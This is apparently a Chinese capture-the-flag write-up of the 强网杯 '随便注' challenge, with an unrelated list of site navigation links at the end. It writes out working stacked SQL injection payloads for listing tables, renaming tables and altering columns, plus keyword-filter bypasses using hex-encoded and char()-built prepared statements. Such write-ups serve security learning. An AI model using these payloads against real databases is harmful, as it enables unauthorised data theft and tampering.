强网杯-随便注
通过简单的注入
1'
1'#
1';order by 1;#
1' union select 1,2#
得出有过滤规则
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
一些select update delect语句都被过滤了
那么我们就用堆叠注入(不要问为什么,我百度来的)
首先介绍一下堆叠注入,简单来说就说将多条语句并列执行(语句1;语句2)同时执行语句1,2
1‘;show databases;#
查数据库
1‘;show tables;#
查表 发现有两个表
1';show columns from 1919810931114514;#
1';show columns from words;#
分别查第一张表和第二张表
这里的1919810931114514要用反引号`括起 (数字串为表名的表操作时要加反引号)
在第一张表中发现了flag字段 但是只有words表有回显,然后看了一下大佬的绕过规则
这里通过修改表名
1';rename tables 'words' to 'words1';rename tables '1919810931114514' to 'words'; alter table 'words' change 'flag' 'id' varchar(100);#
然后用1’ or 1=1#得到flag
这里还有大佬的另外几种绕过方式(通过mysql预处理)
语句1:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
是将select * from ’1919810931114514‘转化为16进制
语句2;
1';SET @sql=concat(char(115,101,108,101,99,116)," * from 1919810931114514");PREPARE sqla from @sql;EXECUTE sqla;#
(char(115,101,108,101,99,116)是把s e l e c t的ascii码转换为字符连接起来,再把后面的拼接起来就成了select * from ‘1919810931114514’)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Apache Atlas 安装部署
- SwiftUI:禁止用户交互
- Qt音视频开发34-Onvif时间设置
- 网络工程师提高篇 | 路由重发布你了解多少?从原理到配置,瑞哥带你学习一波!
- 短视频APP开发,简单计时功能
- LeetCode | 94.二叉树的中序遍历
- Druid 的整合
- LeetCode | 104.二叉树的最大深度
- Flutter 目录结构和项目资源
- iOS音视频接入- TRTC互动直播
- 【一天一大 lee】查找常用字符 (难度:简单) - Day20201014
- 金九银十准备换场地?对标腾讯T3的Android高级工程师面试大纲及时雨来了
- 【一天一大 lee】两两交换链表中的节点 (难度:中等) - Day20201013
- 【一天一大 lee】二叉搜索树的最小绝对差 (难度:简单) - Day20201012
- 有奖互动 | 腾讯云开发者社区 3 周年庆,我过生日,送你们礼物 ~